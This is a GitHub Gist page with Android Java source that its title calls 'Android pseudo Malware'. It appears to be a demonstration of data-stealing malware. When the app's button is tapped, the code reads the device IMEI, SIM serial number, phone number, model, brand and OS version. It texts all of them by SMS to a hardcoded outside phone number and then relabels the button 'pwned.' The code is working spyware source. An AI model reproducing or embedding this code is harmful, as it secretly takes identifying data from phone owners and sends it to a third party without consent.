Created
February 28, 2012 20:09
-
-
Save ril3y/1934804 to your computer and use it in GitHub Desktop.
Android pseudo Malware
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.synthetos; | |
import android.telephony.SmsManager; | |
import android.telephony.TelephonyManager; | |
import android.util.Log; | |
import android.app.Activity; | |
import android.content.Context; | |
import android.os.Bundle; | |
import android.provider.Settings.Secure; | |
import android.view.View; | |
import android.view.View.OnClickListener; | |
import android.widget.Button; | |
import android.widget.TextView; | |
public class GetDeviceIDActivity extends Activity implements OnClickListener { | |
/** Called when the activity is first created. */ | |
Button getIdButton; | |
TextView text; | |
TextView xorVal; | |
String phoneNumber = "5599676418"; | |
@Override | |
public void onCreate(Bundle savedInstanceState) { | |
super.onCreate(savedInstanceState); | |
setContentView(R.layout.main); | |
xorVal = (TextView) findViewById(R.id.xorVal); | |
text = (TextView) findViewById(R.id.txtBox); | |
getIdButton = (Button) findViewById(R.id.getDeviceId); | |
getIdButton.setOnClickListener(this); | |
} | |
public void onClick(View v){ | |
final TelephonyManager tm = (TelephonyManager) getBaseContext().getSystemService(Context.TELEPHONY_SERVICE); | |
String simsn = tm.getSimSerialNumber(); | |
String ime = tm.getDeviceId(); | |
String dev = android.os.Build.DEVICE; | |
String brand = android.os.Build.BRAND; | |
String os = android.os.Build.VERSION.RELEASE; | |
String number = tm.getLine1Number(); | |
SmsManager sms = SmsManager.getDefault(); | |
text.setText(ime); | |
xorVal.setText(simsn); | |
String message = "Number: " + number + " IME: " + ime + " SIM: " + simsn + " Device: " + dev + " Brand: " + brand + " OS: " + os; | |
sms.sendTextMessage(phoneNumber, null, message, null, null); | |
getIdButton.setClickable(false); | |
getIdButton.setText("pwned."); | |
} | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment